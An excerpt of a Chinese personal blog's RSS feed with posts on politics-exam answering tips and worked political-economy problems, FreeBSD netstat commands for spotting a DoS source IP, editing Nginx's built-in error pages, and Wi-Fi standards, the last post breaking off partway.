<div>模仿万能作文总结的万能段落，只要能对上号的都往上丢，保证能多加5分以上^_^&nbsp;</div>
<div>以下各条只是一些点，相应展开一下就可以了&mdash;&mdash;</div>
<div>万能依据：&nbsp;</div>
<div>（1）中国国情，性质，基本制度&hellip;&hellip;决定的&nbsp;</div>
<div>（2）生产力发展需要，社会化大生产要求，市场经济需要，三个文明需要&nbsp;</div>
<div>（3）全面建设小康社会，&ldquo;三大历史任务&rdquo;&mdash;&mdash;建设社会主义现代化，完成祖国统一，维护世界和平，促进世界发掌的需要&nbsp;</div>
<div>（4）关于党的&mdash;&mdash;党面临的两大历史课题，党的先进性，党的性质，宗旨决定的&nbsp;</div>
<div>（5）从经验总结出来的&mdash;&mdash;革命经验，现代化建设经验，他国，他人经验&hellip;&hellip;&nbsp;</div>
<div>（6）马克思、毛泽东、邓小平、江泽民,*****等理论要这么做的&nbsp;</div>
<div>（7）最重要的一条：实现人民根本利益的需要，坚持以人为本，促进人的全面发展的需要</div>
<div>万能意义：&nbsp;</div>
<div>（1）哲学方面的：党制定执行正确方针、政策、路线的理论基础、根本依据；&nbsp;</div>
<div>有助于克服各种错误思想&mdash;&mdash;说明一下；&nbsp;</div>
<div>（2）&hellip;&hellip;对于建立社会主义市场经济体制，促经经济持续快速健康发展，提高人民生活水平，保持安定团结的政治局面，巩固社会主义制度有重要的意义；&nbsp;</div>
<div>（3）有利于优化资源配置，提高劳动生产率，调动广大劳动人民积极性、创造性，加快现代化建设，提高管理水平，增强企业竞争力&hellip;&hellip;&nbsp;</div>
<div>（4）关系到我国在新世纪中的国际地位于竞争力，关系到我国社会主义现代化建设的进程，关系到祖国的繁荣富强和中华民族的伟大复兴、关系到中国特色社会主义事业长远发展大计。&nbsp;</div>
<div>（5）最重要一条：有利于实现人民根本利益，促进人的全面发展和经济社会发展。</div>
<div>万能结尾：&nbsp;</div>
<div>总之，（抄一下题目）。</div>
<div>一.★ 在完全不会资本运动公式的情况下做对题的方法 ★&nbsp;</div>
<div>社会资本运动公式算是一个难点了，有不少同学对这个知识点感到头疼，2004年考过了，05年考的可能性不是很大，但是有备无患，还是要准备一下的好。关于理解这个问题，教材里讲的很清楚明白透彻了，这里说一个方法，如何在完全不懂这个知识点的情况下作对绝大部分这类的选择题。&nbsp;</div>
<div>只记住四句话就可以了： &nbsp;前提是大于，实现是等于。 第一部类没有C，第二部类没有V。</div>
<div>关于记法和解释： 简单再生产时自然是等于号，这个不用讲了。扩大在生产时的前提肯定是大于，要不怎么扩大，所以是大于号。至于实现的时候，应该是等价交换吧，所以是等于号. 第一部类里不会有C存在，第二部类里不会有V存在（注意：这里说的是指经过化简，把两边相同的部分约掉后的最简式里）。</div>
<div>几乎所有的选择题的四个选项，经过这4句话一筛选，正确答案基本上就出来了，比较节省时间。</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>以下十道计算题概括了几乎政经所有的题型，可谓经典！计算题(考试以选择题形式出题)</div>
<div>1、假定某一资本的剩余价值率为100%，该资本4年周转一次，试问该资本的年剩余价值率为多少？&nbsp;</div>
<div>答案：M&amp;sup1;=m&amp;sup1;&times;n =100%&times;1/4 =0.25&times;100%=25%</div>
<div>2、一张面额为100元的股票，预计股息为8%，银行此时的存款利率为5%，求股票的理论价格应是多少？</div>
<div>答案：股票理论价格=预期股息收益&divide;银行同期存款利率 =(100&times;8%)&divide;5%=160元</div>
<div>3、某一年度社会商品价格总额为42000亿元，货币流通速度10次，求货币需要量？若</div>
<div>货币流通量为5250亿元时，求货币的流通速度？</div>
<div>答案：货币需要量(M)=PQ&times;V=42000/10=4200(亿)   货币流通速度=PQ/M=42000/5250=8(次)</div>
<div>4、某一时期，流通中货币需要量为30000亿元，由于生产发展，货币需要量增加20%，但实际执行结果却使流通中的纸币量达到了50000亿元，求此时货币的贬值程度？</div>
<div>答案：单位货币所代表的价值量 =流通市场货币需求量/纸币流通总量=30000(1+20%)/50000 =0.72</div>
<div>则 纸币贬值了(1&mdash;0.72)&times;100%=28%</div>
<div>5、某企业持有一张面值为10000元的票据到银行贴现，该票据尚须73天才能到期，在年贴现率为10%的情况下，试问企业能得到的贴现值为多少？</div>
<div>答案：贴现金额=票据金额&times;（1&mdash;年贴现率*贴现日至到期日时间）=10000&times;（1&mdash;10%&times;73/360） =9797.22(元)</div>
<div>6、某资本家的全部预付资本为1000万元，其中不变资本800万元，可变资本200万元，获得剩余价值200万元，其利润率是多少？</div>
<div>答案：P&amp;sup1;=m/c+v=200/(200+800)=20%</div>
<div>7、某企业原预付资本为1000万元，资本有机构成为9：1，工人平均每月工资为500元，本月因劳动生产率的提高而采用了新的机器设备，使资本的有机构成提高到19：1。试问，在不追加资本的情况下，由于有机构成的提高，被排挤出工厂的人数是多少？</div>
<div>答案：在工厂有机构成未提高之前工人的每月的工资总额为：1000万&times;1/9+1=100万。</div>
<div>因每个工人的工资为500元，故工厂的工人总数为100万/500=2000人。</div>
<div>劳动生产率提高后的每月的工资总额为1000万&times;1/19+1=50万，因每个工人的工资额仍为500元，所以本月工厂工人总数是50万元/500元=1000人。</div>
<div>所以现在每月被排挤出工厂的人数是2000人&mdash;1000人=1000人。</div>
<div>8、已知待实现的商品价格总额是1500元，加上到期的支付总额200元，减去彼此抵消的支付600元，假定同一货币的流通次数为5次。求流通货币的总额X的数值？</div>
<div>答案：X=(1500元+200元&mdash;600元)/5次=220元。流通中需要货币总额的数量为220元。</div>
<div>9、某企业年产10000件商品。固定资本额为10万元，使用年限为10年，投入流动资本额为5万元，周转时间为3个月。雇佣工人200人，月平均工资30元，每件商品的社会价值为30元。请计算：</div>
<div>(1)、m&amp;sup1;是多少？   (2)、年预付资本的周转速度是多少次？   (3)、M&amp;sup1;是多少？</div>
<div>答案：(1)m=30元&times;10000件(商品总社会价值)&mdash;10000元(固定资本年周转额)&mdash;5万元&times;12/3(流动资本年 周转额)=300000元&mdash;10000元-200000元=90000万元。</div>
<div>m&amp;sup1;=90000元m/30元&times;200元&times;12月=125%。</div>
<div>(2)年预付资本周转速度=[10000元(固定资本周转额)+200000元(流动资本周转额)&divide;[100000元(固定资本)+50000元(流动资本)]=1.4次。</div>
<div>(3)年剩余价值率是年剩余价值量和预付可变资本的比率。</div>
<div>计算方法1：由(1)已知M=90000元。预付可变资本额为30元&times;200人&times;3个月=18000元。</div>
<div> M&amp;sup1;=90000元/18000元=500%。  计算方法2：M&amp;sup1;=m&amp;sup1;&times;n=125%&times;12/3=500%。</div>
<div>10、社会总产品价值构成为；</div>
<div>第一部类：4000c+1000v+1000m=6000  第二部类：1600c+800v+800m=3200</div>
<div>两大部类的积累率均为25%。试计算，为实现扩大再生产，如果第I部类追加资本的有机构成为9：1，那么第II部类追加资本的资本有机构成是多少？</div>
<div>答案：扩大后的第一部类的生产模式为：4000c+225&Delta;c+1000v+25&Delta;v+750m/x=6000&nbsp;</div>
<div>根据扩大再生产实现的基本公式I(v+&Delta;v+m/x)=II(c+&Delta;c)</div>
<div>则第II部类扩大再生产的模式为1600c+175&Delta;c+800v+25&Delta;v+600m/x=3200&nbsp;</div>
<div>第II部类追加资本的资本有机构成c:v应是7：1</div>
<div>&nbsp;&nbsp; 掌握知识量最基本相同的情况下，答题技巧的不同可能使总分相差10到20分。政治的考研试卷中大题的分值占百分之六十，而实际上大题也是技巧性最强的题型。下面向大家介绍大题答题四步曲：</div>
<div>&nbsp;&nbsp; 第一步：仔细审题。找出本题目是关于哪个科学的哪个章节，在草稿纸上写下此章节内所有可能与本题有联系的基本概念及原理。大多数题目是跨章节，甚至跨学科的，要注意思维的发散性。</div>
<div>&nbsp;&nbsp; 第二步：解释每一个概念并写出原理的基本内容。如果自己写出的相关概念太多，则视试卷留出的空白捡重要的写，解释概念和原理一般不要超过本题答题空间的二分之一。什么？太多了？不要怕，答多了不扣分。但要注意答题时每个概念和原理要作为一段，字迹要工整清晰。好了，本题目分数的一半你已经拿到了，下面进行第三步。</div>
<div>&nbsp;&nbsp; 第三步：联系实际。如果本题是论述题，则根据本题联系实际中的一些现象，给出评价，如果本领是材料题，则材料就是实际，指出材料中的一些问题，也就是将材料用你学过的关于政治的术语再复述一遍。这部分一定有要有，而且要作为一个段落，字迹工整的话。</div>
<div>&nbsp;&nbsp;第四步；总结。这一部分是绝对送分的，但也要有技巧。要将其作为一个段落，如果此题是论述题，则将整个题目再复述一遍，不要忘了在前面加上一个所以；如果此题是材料题，则提倡材料中好的做法，批评材料中坏的做法。</div>
<div>&nbsp;&nbsp; 上面的四步中好像没有提过辨析题，其实辨析题就是一个分值较少而且需要判断的论述题，除了判断以外，上面的四步同样适用。但题目特别注意的是辨析题的判断，千万不要盲目的说其对错，例如一些题目的前半部分是对的而后半部分产错的，有的题目说的不会面，这些都要指出。如果答大题时你能熟练地按上面的四步做，那么恭喜你，大题方面你至少可以比相同水平的其他人多得n分，不信？你看：</div>
<div>&nbsp;&nbsp; &nbsp;试用历史唯物主义的有关原理说明&ldquo;以德治国&rdquo;与&ldquo;以法治国&rdquo;的关系及其重要意义（2002年政治试题重中之重）。</div>
<div>&nbsp;&nbsp; &nbsp;首先仔细读题目，题目中已经告诉我们是马哲中的历史唯物主义的几章的原理，而以法治国和以德治国是邓论中的内容，因此要考虑将两个学科结合起来答题。表面上看题目中有两个基本概念以法治国和以德治国，联系到马哲，以德治国便是是道德问题，是上层建筑；以法治国便是法制问题。如此以来，此题需要答的基本概念和原理有：道德，法制，以德治国，以法治国，上层建筑，道德与法制的关系，以法治国和以德治国的关系。然后联系实际，这一步没关系，只要稍微写两句而且字迹工整便不失大落。最后总结，好像这里把题目重抄一遍不顺口，其实只要稍微一改便行：我们要把以治国和德治国相结合。</div>
<div>下面我们看一标准答案：</div>
<div>1、历史唯物主义认为道德与法制既有联系又有区别，二者的区别表现在：道德的概念；法制的概念；道德与法制的关系。</div>
<div>2、历史唯物主又认为，社会的经济基础决定上层建筑的产生、性质和变化；上层建筑反作用于经济基础。社会主义的法律和道德是社会主义上层建筑的重要组成部分，，它对经济基础的发展有重大意义。</div>
<div>3、以法治国和以德治国又是相成辅相成，不可分割的。以法治国的概念；以德治国的概念；以法治国和以德治国的关系。</div>
<div>4、把以德治国和以法治国紧密的结合起来，是建设有中国特色的社会主义的要求，也是社会主义市场经济的要求。</div>
<div>怎么样，是不是感到大题的简单了</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/CET6-Answer">2009年四六级答案</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-shijianrenshi">2011年考研政治大题预测-实践和认识</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-duilitongyi">2011年考研政治大题预测-对立统一</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-yingyuzuowen">2011年考研英语作文预测</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-notice">2011年硕士研究生招生考试注意事项</a></p><p><a href="http://www.holmesian.org/2010-today">相信自己的判断，别跟风</a></p></div>]]></description>
	<pubDate>Thu, 18 Nov 2010 11:49:38 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/zhengzhi-kaoyan-muban</guid>

</item>
<item>
	<title>FreeBSD查看当前外部网络连接情况</title>
	<link>http://www.holmesian.org/FreeBSD-network</link>
	<description><![CDATA[<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8">手机上一直收到来自服务器的负载过高报警短信，上服务器检查后发现被同一内网IP的机器DoS了，找出问题所在之后在ipf中添加上了禁止DoS主机的源IP，整个系统的负载瞬间就下来了，php-cgi进程也都空闲了。同一网段的IP还不知道是谁么，机房里就那么几台服务器，不是被入侵的话那就是有人搞鬼了&hellip;&hellip; 不知道哪位TX这么有闲情做这么些无聊之事，如果相当有闲情的话不妨联系一下我。 </meta>
</p>
<p>顺便记录一下FreeBSD下常用的统计当前系统网络连接状态的一些命令：</p>
<p></p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span class="number">1</span><span>)统计</span><span class="number">80</span><span>端口连接数</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>netstat -nat&#124;grep -i <span class="string">&quot;80&quot;</span><span>&#124;wc -l</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span><span class="number">2</span><span>）统计httpd协议连接数</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>ps -ef&#124;grep httpd&#124;wc -l</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span><span class="number">3</span><span>）、统计已连接上的，状态为&ldquo;established'</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>netstat -na&#124;grep ESTABLISHED&#124;wc -l</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span><span class="number">4</span><span>)、看看哪个IP地址的连接最多</span></span></li>
    <li><span>netstat -na&#124;grep ESTABLISHED&#124;awk <span class="string">'&#123;print $5&#125;'</span><span>&#124;awk -F: </span><span class="string">'&#123;print $1&#125;'</span><span>&#124;sort&#124;uniq -c&#124;sort -r +</span><span class="number">0n</span><span> </span></span></li>
    <li class="alt"><span>netstat -na&#124;grep SYN&#124;awk <span class="string">'&#123;print $5&#125;'</span><span>&#124;awk -F: </span><span class="string">'&#123;print $1&#125;'</span><span>&#124;sort&#124;uniq -c&#124;sort -r +</span><span class="number">0n</span></span></li>
    <li>&nbsp;</li>
    <li class="alt">&nbsp;</li>
    <li><span>netstat快速查看一下TCP连接情况</span></li>
    <li class="alt"><span>netstat -n &#124; awk <span class="string">'/^tcp/ &#123;++S[$NF]&#125; END &#123;for(a in S) print a, S[a]&#125;'</span></span></li>
    <li><span>通过man netstat可以了解SYN_RCVD的意义。SYN_RCVD表示当前未完成的TCP SYN队列</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
1)统计80端口连接数

netstat -nat&#124;grep -i &quot;80&quot;&#124;wc -l

2）统计httpd协议连接数

ps -ef&#124;grep httpd&#124;wc -l

3）、统计已连接上的，状态为&ldquo;established'

netstat -na&#124;grep ESTABLISHED&#124;wc -l

4)、看看哪个IP地址的连接最多
netstat -na&#124;grep ESTABLISHED&#124;awk '&#123;print $5&#125;'&#124;awk -F: '&#123;print $1&#125;'&#124;sort&#124;uniq -c&#124;sort -r +0n 
netstat -na&#124;grep SYN&#124;awk '&#123;print $5&#125;'&#124;awk -F: '&#123;print $1&#125;'&#124;sort&#124;uniq -c&#124;sort -r +0n


netstat快速查看一下TCP连接情况
netstat -n &#124; awk '/^tcp/ &#123;++S[$NF]&#125; END &#123;for(a in S) print a, S[a]&#125;'
通过man netstat可以了解SYN_RCVD的意义。SYN_RCVD表示当前未完成的TCP SYN队列</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 1em; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; ">&nbsp;</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 1em; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; ">&nbsp;</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 1em; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; ">&nbsp;</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 1em; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; ">&nbsp;</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 1em; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; ">&nbsp;</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 1em; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; ">
<meta http-equiv="content-type" content="text/html; charset=utf-8">   </meta>
</p>
<p style="font-size: 1em; line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; ">要找到最可疑的恶意IP，其实用一行简单的Shell即可：</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>netstat -na &#124; grep </span><span class="number">80</span><span> &#124; grep ESTABLISHED &#124; awk </span><span class="string">'&#123;print $5&#125;'</span><span> &#124; awk -F</span><span class="string">'.'</span><span> </span><span class="string">'&#123;print $1&quot;.&quot;$2&quot;.&quot;$3&quot;.&quot;$4&#125;'</span><span> &#124; sort &#124; uniq -c</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
netstat -na &#124; grep 80 &#124; grep ESTABLISHED &#124; awk '&#123;print $5&#125;' &#124; awk -F'.' '&#123;print $1&quot;.&quot;$2&quot;.&quot;$3&quot;.&quot;$4&#125;' &#124; sort &#124; uniq -c</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p style="font-size: 1em; line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; ">当然，这些只是对小型的DOS和CC比较有效，统计了所有访问80端口web服务的连接数，当服务器遇到分布式的DDoS的时候就无能为力了。</p>
<p>&nbsp;</p>
<div>&nbsp;</div>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/FreeBSD8_Install">FreeBSD8.1安装笔记</a></p><p><a href="http://www.holmesian.org/FreeBSD-Route">FreeBSD路由-网络配置学习笔记</a></p><p><a href="http://www.holmesian.org/FreeBSD_nginx_fastcgi_error">FreeBSD+nginx+spawn-fcgi出错的解决</a></p><p><a href="http://www.holmesian.org/Network">电信如何检测多台电脑上网</a></p><p><a href="http://www.holmesian.org/IE_fuck">IE首页劫持产业链</a></p><p><a href="http://www.holmesian.org/No_longer_required_by_any_port">FreeBSD升级时No longer required by any port</a></p></div>]]></description>
	<pubDate>Wed, 17 Nov 2010 08:18:03 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/FreeBSD-network</guid>

</item>
<item>
	<title>更改Nginx的原生错误提示</title>
	<link>http://www.holmesian.org/Nginx-error-page</link>
	<description><![CDATA[<p>一般网站前端使用Nginx时，不可避免地会遇到一些类似502、504、404、403等等的错误，这些生硬的错误提示看上去给人的感觉有些不太友好，虽然对于一些常见的错误页面比如404可以在Nginx的配置文件中指定错误页面，但是这只能解决一部分问题而且相对比较繁琐，实际上我们可以通过修改Nginx的源码让Nginx提供原生的友好的HTML提示。</p>
<p>来看看吧</p>
<p></p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8"> </p>
<div class="HighLighter" contenteditable="false" style="font-family:Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif;font-size:12px;line-height:17px;">
<div contenteditable="false" class="dp-highlighter">
<div class="bar" style="color:#555555;">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt" style="color:#555555;"><span><span>编辑源码目录树下的 src/http/ngx_http_special_response.c 文件</span></span></li>
    <li style="color:#555555;">&nbsp;</li>
    <li class="alt" style="color:#555555;"><span>找到形如</span></li>
    <li style="color:#555555;">&nbsp;</li>
    <li class="alt" style="color:#555555;"><span>static char ngx_http_error_501_page[] =</span></li>
    <li style="color:#555555;"><span>“&lt;html&gt;” CRLF</span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;head&gt;&lt;title&gt;<span class="number">501</span><span> Method Not Implemented&lt;/title&gt;&lt;/head&gt;” CRLF</span></span></li>
    <li style="color:#555555;"><span>“&lt;body bgcolor=”white”&gt;” CRLF</span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;center&gt;&lt;h1&gt;<span class="number">501</span><span> Method Not Implemented&lt;/h1&gt;&lt;/center&gt;” CRLF</span></span></li>
    <li style="color:#555555;"><span>;</span></li>
    <li class="alt" style="color:#555555;">&nbsp;</li>
    <li style="color:#555555;"><span>static char ngx_http_error_502_page[] =</span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;html&gt;” CRLF</span></li>
    <li style="color:#555555;"><span>“&lt;head&gt;&lt;title&gt;<span class="number">502</span><span> Bad Gateway&lt;/title&gt;&lt;/head&gt;” CRLF</span></span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;body bgcolor=”white”&gt;” CRLF</span></li>
    <li style="color:#555555;"><span>“&lt;center&gt;&lt;h1&gt;<span class="number">502</span><span> Bad Gateway&lt;/h1&gt;&lt;/center&gt;” CRLF</span></span></li>
    <li class="alt" style="color:#555555;"><span>;</span></li>
    <li style="color:#555555;">&nbsp;</li>
    <li class="alt" style="color:#555555;"><span>static char ngx_http_error_503_page[] =</span></li>
    <li style="color:#555555;"><span>“&lt;html&gt;” CRLF</span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;head&gt;&lt;title&gt;<span class="number">503</span><span> Service Temporarily Unavailable&lt;/title&gt;&lt;/head&gt;” CRLF</span></span></li>
    <li style="color:#555555;"><span>“&lt;body bgcolor=”white”&gt;” CRLF</span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;center&gt;&lt;h1&gt;<span class="number">503</span><span> Service Temporarily Unavailable&lt;/h1&gt;&lt;/center&gt;” CRLF</span></span></li>
    <li style="color:#555555;"><span>;</span></li>
    <li class="alt" style="color:#555555;">&nbsp;</li>
    <li style="color:#555555;"><span>static char ngx_http_error_504_page[] =</span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;html&gt;” CRLF</span></li>
    <li style="color:#555555;"><span>“&lt;head&gt;&lt;title&gt;<span class="number">504</span><span> Gateway Time-out&lt;/title&gt;&lt;/head&gt;” CRLF</span></span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;body bgcolor=”white”&gt;” CRLF</span></li>
    <li style="color:#555555;"><span>“&lt;center&gt;&lt;h1&gt;<span class="number">504</span><span> Gateway Time-out&lt;/h1&gt;&lt;/center&gt;” CRLF</span></span></li>
    <li class="alt" style="color:#555555;"><span>;</span></li>
    <li style="color:#555555;">&nbsp;</li>
    <li class="alt" style="color:#555555;"><span>static char ngx_http_error_507_page[] =</span></li>
    <li style="color:#555555;"><span>“&lt;html&gt;” CRLF</span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;head&gt;&lt;title&gt;<span class="number">507</span><span> Insufficient Storage&lt;/title&gt;&lt;/head&gt;” CRLF</span></span></li>
    <li style="color:#555555;"><span>“&lt;body bgcolor=”white”&gt;” CRLF</span></li>
    <li class="alt" style="color:#555555;"><span>“&lt;center&gt;&lt;h1&gt;<span class="number">507</span><span> Insufficient Storage&lt;/h1&gt;&lt;/center&gt;” CRLF</span></span></li>
    <li style="color:#555555;"><span>;</span></li>
    <li class="alt" style="color:#555555;">&nbsp;</li>
    <li>&nbsp;</li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre>编辑源码目录树下的 src/http/ngx_http_special_response.c 文件

找到形如

static char ngx_http_error_501_page[] =
“&lt;html&gt;” CRLF
“&lt;head&gt;&lt;title&gt;501 Method Not Implemented&lt;/title&gt;&lt;/head&gt;” CRLF
“&lt;body bgcolor=”white”&gt;” CRLF
“&lt;center&gt;&lt;h1&gt;501 Method Not Implemented&lt;/h1&gt;&lt;/center&gt;” CRLF
;

static char ngx_http_error_502_page[] =
“&lt;html&gt;” CRLF
“&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;/head&gt;” CRLF
“&lt;body bgcolor=”white”&gt;” CRLF
“&lt;center&gt;&lt;h1&gt;502 Bad Gateway&lt;/h1&gt;&lt;/center&gt;” CRLF
;

static char ngx_http_error_503_page[] =
“&lt;html&gt;” CRLF
“&lt;head&gt;&lt;title&gt;503 Service Temporarily Unavailable&lt;/title&gt;&lt;/head&gt;” CRLF
“&lt;body bgcolor=”white”&gt;” CRLF
“&lt;center&gt;&lt;h1&gt;503 Service Temporarily Unavailable&lt;/h1&gt;&lt;/center&gt;” CRLF
;

static char ngx_http_error_504_page[] =
“&lt;html&gt;” CRLF
“&lt;head&gt;&lt;title&gt;504 Gateway Time-out&lt;/title&gt;&lt;/head&gt;” CRLF
“&lt;body bgcolor=”white”&gt;” CRLF
“&lt;center&gt;&lt;h1&gt;504 Gateway Time-out&lt;/h1&gt;&lt;/center&gt;” CRLF
;

static char ngx_http_error_507_page[] =
“&lt;html&gt;” CRLF
“&lt;head&gt;&lt;title&gt;507 Insufficient Storage&lt;/title&gt;&lt;/head&gt;” CRLF
“&lt;body bgcolor=”white”&gt;” CRLF
“&lt;center&gt;&lt;h1&gt;507 Insufficient Storage&lt;/h1&gt;&lt;/center&gt;” CRLF
;

的代码，这就是写死在代码里面的HTML，将其改为</pre> </div>
<div contenteditable="false" style="color:#555555;">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p style="margin-top:0px;margin-right:0px;margin-bottom:10px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;text-align:left;color:#555555;font-family:Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif;font-size:12px;line-height:17px;">
<meta http-equiv="content-type" content="text/html; charset=utf-8">聪明的你肯定知道该怎么,无论哪种错误的提示都在这里可以修改，好了，还等什么……去修改Nginx让其能够原生显示错误页面吧。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:10px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;text-align:left;">
<meta http-equiv="content-type" content="text/html; charset=utf-8">PS:即使是在FreeBSD下使用PORTS安装Nginx也一样可以修改Ngnix的源码达到相应的效果，只要是make完成之前将PORTS目录下的源码修改即可。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:10px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;text-align:left;color:#555555;font-family:Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif;font-size:12px;line-height:17px;">&nbsp;</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:10px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;text-align:left;color:#555555;font-family:Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif;font-size:12px;line-height:17px;">&nbsp;</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Nginx-apache-ip">Nginx做前端时让Apache能得到真实IP的做法</a></p><p><a href="http://www.holmesian.org/nginx_location">Nginx的location用法备忘</a></p><p><a href="http://www.holmesian.org/Nginx_separator">解决Nginx下二级目录斜杠问题</a></p><p><a href="http://www.holmesian.org/Nginx_resolver">Nginx解决“no resolver defined to resolve xxx.xxx”</a></p><p><a href="http://www.holmesian.org/nginx_no_php">Nginx上传目录禁止PHP运行</a></p><p><a href="http://www.holmesian.org/nginx-bug">Nginx的高危漏洞</a></p></div>]]></description>
	<pubDate>Sun, 14 Nov 2010 03:19:09 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Nginx-error-page</guid>

</item>
<item>
	<title>无线网络及无线路由使用的一些知识</title>
	<link>http://www.holmesian.org/sth-about-wifi</link>
	<description><![CDATA[<p>&nbsp;</p>
<p>一些关于无线网络的基本知识，以及在配置 DD-WRT时需要注意的事项。</p>
<h2>关于802.11标准：</h2>
<p>&nbsp;</p>
<div>
<div>802.11b         11M</div>
<div>802.11g         54M</div>
<div>802.11g速展     108M TM/Super G</div>
<div>802.11n         300M</div>
<div>&nbsp;</div>
<div>距离较远的话不妨选择b模式，更好的性能选择g，除非你确认客户机的无线网卡都支持n模式，否则为了更好的兼容性一般不选择n模式</div>
<div>&nbsp;</div>
</div>
<div>
<div>802.11 ，1997年，原始标准(2Mbit/s 工作在2.4GHz)。</div>
<div>802.11a，1999年，物理层补充(54Mbit/s工作在5GHz) 。</div>
<div>802.11b，1999年，物理层补充(11Mbit/s工作在2.4GHz) 。</div>
<div>802.11c，符合802.1D的媒体接入控制层(MAC) 桥接(MAC Layer Bridging) 。</div>
<div>802.11d，根据各国无线电规定做的调整。</div>
<div>802.11e ，对服务等级(Quality of Service, QS) 的支持。</div>
<div>802.11f，基站的互连性(Interoperability) 。</div>
<div>802.11g，物理层补充(54Mbit/s工作在2.4GHz) 。</div>
<div>802.11h，无线覆盖半径的调整，室内(indoor) 和室外(outdoor) 信道(5GHz频段) 。</div>
<div>802.11i，安全和鉴权(Authentification)方面的补充。</div>
<div>802.11n，导入多重输入输出 (MIMO) 技术，基本上是802.11a的延伸版。</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>
<h2>关于RTS/CTS</h2>
<div>&nbsp;</div>
<div>RTS/CTS协议是指终端预先通知接入点将要进行通信（RTS：请求发送），再由接入点向终端返回通信许可（CTS：允许发送）的功能。CTS分组信息中指定范围以外的其他终端在分组信息规定的时间段里将暂停信息发送。该协议主要用于解决“隐藏终端（Hidden Stations）问题”，隐藏终端问题是指，当有多个无线LAN终端连接接入点时，各个终端无法了解侦测到对方正在与接入点之间进行通信的情况。因此就要通过在11g终端通信开始时发送RTS/CTS协议帧，把11g终端的通信时间告诉11b终端。</div>
<div>&nbsp;</div>
